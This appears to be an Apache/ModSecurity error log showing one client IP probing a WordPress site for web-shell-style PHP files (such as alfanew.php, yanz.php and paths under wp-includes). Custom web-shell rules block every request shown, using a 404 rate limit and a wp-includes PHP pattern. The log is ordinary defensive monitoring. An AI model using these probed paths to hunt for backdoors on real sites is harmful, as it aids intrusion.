[Mon Dec 15 20:16:57.603943 2025] [:error] [pid 31374:tid 31449] [client 20.27.228.201:12228] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "aT_8OZzSh8b7uk6RWiFZtQAAAFE"]
[Mon Dec 15 20:16:58.136497 2025] [:error] [pid 31374:tid 31453] [client 20.27.228.201:17716] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "aT_8OpzSh8b7uk6RWiFZtwAAAFU"]
[Mon Dec 15 20:16:59.638026 2025] [:error] [pid 31459:tid 31481] [client 20.27.228.201:17666] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "aT_8OzqerS0TDpViRzteeQAAABQ"]
[Mon Dec 15 20:17:00.523277 2025] [:error] [pid 31459:tid 31477] [client 20.27.228.201:12237] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aT_8PDqerS0TDpViRzteewAAABA"]
[Mon Dec 15 20:17:01.123285 2025] [:error] [pid 31374:tid 31446] [client 20.27.228.201:17683] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aT_8PZzSh8b7uk6RWiFZugAAAE4"]
[Mon Dec 15 20:17:01.775409 2025] [:error] [pid 52155:tid 52170] [client 20.27.228.201:12251] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aT_8PRaJK6javjid3xyo1AAAAQw"]
[Mon Dec 15 20:17:02.701059 2025] [:error] [pid 31373:tid 31414] [client 20.27.228.201:17755] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aT_8PnFdnrU7ASwItVLYjAAAAMk"]
[Mon Dec 15 20:17:03.346952 2025] [:error] [pid 31372:tid 31400] [client 20.27.228.201:17692] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aT_8PwN06qRtpJxyxHiZygAAAJg"]
[Mon Dec 15 20:17:05.345962 2025] [:error] [pid 31374:tid 31432] [client 20.27.228.201:12276] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aT_8QZzSh8b7uk6RWiFZxwAAAEA"]
[Mon Dec 15 20:17:07.009522 2025] [:error] [pid 31373:tid 31424] [client 20.27.228.201:17752] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aT_8Q3FdnrU7ASwItVLYlgAAANM"]
[Mon Dec 15 20:17:07.590228 2025] [:error] [pid 52155:tid 52181] [client 20.27.228.201:17791] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aT_8QxaJK6javjid3xyo1wAAARc"]
[Mon Dec 15 20:17:08.338907 2025] [:error] [pid 31374:tid 31441] [client 20.27.228.201:12239] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "aT_8RJzSh8b7uk6RWiFZyQAAAEk"]
[Mon Dec 15 20:17:08.881371 2025] [:error] [pid 52155:tid 52171] [client 20.27.228.201:12177] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "aT_8RBaJK6javjid3xyo2gAAAQ0"]
[Mon Dec 15 20:17:09.764886 2025] [:error] [pid 31373:tid 31418] [client 20.27.228.201:12201] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "aT_8RXFdnrU7ASwItVLYmgAAAM0"]
[Mon Dec 15 20:17:10.069959 2025] [:error] [pid 31373:tid 31409] [client 20.27.228.201:12230] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "aT_8RnFdnrU7ASwItVLYmwAAAMQ"]
[Mon Dec 15 20:17:10.465519 2025] [:error] [pid 31373:tid 31417] [client 20.27.228.201:12250] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT_8RnFdnrU7ASwItVLYnAAAAMw"]
[Mon Dec 15 20:17:11.053955 2025] [:error] [pid 52155:tid 52159] [client 20.27.228.201:12240] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT_8RxaJK6javjid3xyo3gAAAQE"]
[Mon Dec 15 20:17:11.487835 2025] [:error] [pid 31373:tid 31424] [client 20.27.228.201:17689] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT_8R3FdnrU7ASwItVLYnwAAANM"]
[Mon Dec 15 20:17:12.210915 2025] [:error] [pid 31373:tid 31423] [client 20.27.228.201:17665] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT_8SHFdnrU7ASwItVLYoAAAANI"]
[Mon Dec 15 20:17:12.812796 2025] [:error] [pid 31374:tid 31448] [client 20.27.228.201:17668] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aT_8SJzSh8b7uk6RWiFZ0AAAAFA"]
[Mon Dec 15 20:17:13.474759 2025] [:error] [pid 52155:tid 52174] [client 20.27.228.201:12243] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aT_8SRaJK6javjid3xyo3wAAARA"]
[Mon Dec 15 20:17:14.008872 2025] [:error] [pid 31373:tid 31426] [client 20.27.228.201:17675] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aT_8SnFdnrU7ASwItVLYqAAAANU"]
[Mon Dec 15 20:17:14.716299 2025] [:error] [pid 31373:tid 31414] [client 20.27.228.201:17789] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aT_8SnFdnrU7ASwItVLYqwAAAMk"]
[Mon Dec 15 20:17:15.252890 2025] [:error] [pid 52155:tid 52166] [client 20.27.228.201:17664] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aT_8SxaJK6javjid3xyo4QAAAQg"]
[Mon Dec 15 20:17:15.790021 2025] [:error] [pid 31373:tid 31407] [client 20.27.228.201:17712] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aT_8S3FdnrU7ASwItVLYrQAAAMI"]
[Mon Dec 15 20:17:17.480597 2025] [:error] [pid 31373:tid 31406] [client 20.27.228.201:12176] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aT_8TXFdnrU7ASwItVLYsgAAAME"]
[Mon Dec 15 20:17:18.043061 2025] [:error] [pid 31373:tid 31410] [client 20.27.228.201:17776] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aT_8TnFdnrU7ASwItVLYtgAAAMU"]
[Mon Dec 15 20:17:18.362374 2025] [:error] [pid 31373:tid 31426] [client 20.27.228.201:12261] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aT_8TnFdnrU7ASwItVLYtwAAANU"]
[Mon Dec 15 20:17:19.027914 2025] [:error] [pid 31374:tid 31456] [client 20.27.228.201:12247] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aT_8T5zSh8b7uk6RWiFZ0gAAAFg"]
[Mon Dec 15 20:17:19.732201 2025] [:error] [pid 52155:tid 52162] [client 20.27.228.201:17753] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aT_8TxaJK6javjid3xyo6QAAAQQ"]
[Mon Dec 15 20:17:20.695904 2025] [:error] [pid 31459:tid 31481] [client 20.27.228.201:12270] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aT_8UDqerS0TDpViRztegAAAABQ"]
[Mon Dec 15 20:17:22.118034 2025] [:error] [pid 52155:tid 52164] [client 20.27.228.201:12252] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aT_8UhaJK6javjid3xyo8gAAAQY"]
[Mon Dec 15 20:17:23.049348 2025] [:error] [pid 31459:tid 31470] [client 20.27.228.201:12170] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aT_8UzqerS0TDpViRztehQAAAAk"]
[Mon Dec 15 20:17:24.674767 2025] [:error] [pid 31459:tid 31463] [client 20.27.228.201:17703] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aT_8VDqerS0TDpViRztejAAAAAI"]
[Mon Dec 15 20:17:26.765204 2025] [:error] [pid 31373:tid 31412] [client 20.27.228.201:12198] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aT_8VnFdnrU7ASwItVLYwAAAAMc"]
[Mon Dec 15 20:17:29.515540 2025] [:error] [pid 31459:tid 31467] [client 20.27.228.201:17728] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aT_8WTqerS0TDpViRztemAAAAAY"]
[Mon Dec 15 20:17:29.980652 2025] [:error] [pid 52155:tid 52166] [client 20.27.228.201:17725] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aT_8WRaJK6javjid3xyo_wAAAQg"]
[Mon Dec 15 20:17:31.950650 2025] [:error] [pid 31372:tid 31376] [client 20.27.228.201:17720] [client 20.27.228.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aT_8WwN06qRtpJxyxHiZ1QAAAIA"]
[Mon Dec 15 20:17:33.164791 2025] [:error] [pid 31372:tid 31400] [client 20.27.228.201:17762] [client 20.27.228.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aT_8XQN06qRtpJxyxHiZ3AAAAJg"]
[Mon Dec 15 20:17:35.171254 2025] [:error] [pid 31374:tid 31453] [client 20.27.228.201:12225] [client 20.27.228.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aT_8X5zSh8b7uk6RWiFZ9wAAAFU"]
[Mon Dec 15 20:17:36.048871 2025] [:error] [pid 31459:tid 31474] [client 20.27.228.201:17680] [client 20.27.228.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aT_8YDqerS0TDpViRztenAAAAA0"]
[Mon Dec 15 20:17:37.521269 2025] [:error] [pid 31459:tid 31471] [client 20.27.228.201:17748] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aT_8YTqerS0TDpViRzteoAAAAAo"]
[Mon Dec 15 20:17:38.538240 2025] [:error] [pid 31373:tid 31408] [client 20.27.228.201:17724] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aT_8YnFdnrU7ASwItVLYzAAAAMM"]
[Mon Dec 15 20:17:39.174515 2025] [:error] [pid 31373:tid 31421] [client 20.27.228.201:17704] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aT_8Y3FdnrU7ASwItVLYzwAAANA"]
[Mon Dec 15 20:17:40.066763 2025] [:error] [pid 52155:tid 52164] [client 20.27.228.201:12227] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aT_8ZBaJK6javjid3xypBwAAAQY"]
[Mon Dec 15 20:17:41.013452 2025] [:error] [pid 52155:tid 52178] [client 20.27.228.201:17722] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT_8ZRaJK6javjid3xypDAAAARQ"]
[Mon Dec 15 20:17:42.019246 2025] [:error] [pid 31459:tid 31462] [client 20.27.228.201:12160] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT_8ZjqerS0TDpViRzteogAAAAE"]
[Mon Dec 15 20:17:42.797983 2025] [:error] [pid 31373:tid 31425] [client 20.27.228.201:17770] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT_8ZnFdnrU7ASwItVLY1AAAANQ"]
[Mon Dec 15 20:17:43.217111 2025] [:error] [pid 31459:tid 31484] [client 20.27.228.201:17769] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT_8ZzqerS0TDpViRztepQAAABc"]
[Mon Dec 15 20:17:43.596351 2025] [:error] [pid 52155:tid 52170] [client 20.27.228.201:12260] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aT_8ZxaJK6javjid3xypEQAAAQw"]
[Mon Dec 15 20:17:44.183998 2025] [:error] [pid 52155:tid 52169] [client 20.27.228.201:17727] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aT_8aBaJK6javjid3xypEwAAAQs"]
[Mon Dec 15 20:17:44.490436 2025] [:error] [pid 31374:tid 31456] [client 20.27.228.201:17711] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aT_8aJzSh8b7uk6RWiFaAwAAAFg"]
[Mon Dec 15 20:17:45.123169 2025] [:error] [pid 31374:tid 31453] [client 20.27.228.201:12281] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aT_8aZzSh8b7uk6RWiFaBQAAAFU"]
[Mon Dec 15 20:17:45.960682 2025] [:error] [pid 31459:tid 31472] [client 20.27.228.201:17759] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aT_8aTqerS0TDpViRzteqQAAAAs"]
[Mon Dec 15 20:17:46.915773 2025] [:error] [pid 31374:tid 31445] [client 20.27.228.201:12166] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aT_8apzSh8b7uk6RWiFaBgAAAE0"]
[Mon Dec 15 20:17:48.285062 2025] [:error] [pid 31374:tid 31446] [client 20.27.228.201:12262] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aT_8bJzSh8b7uk6RWiFaBwAAAE4"]
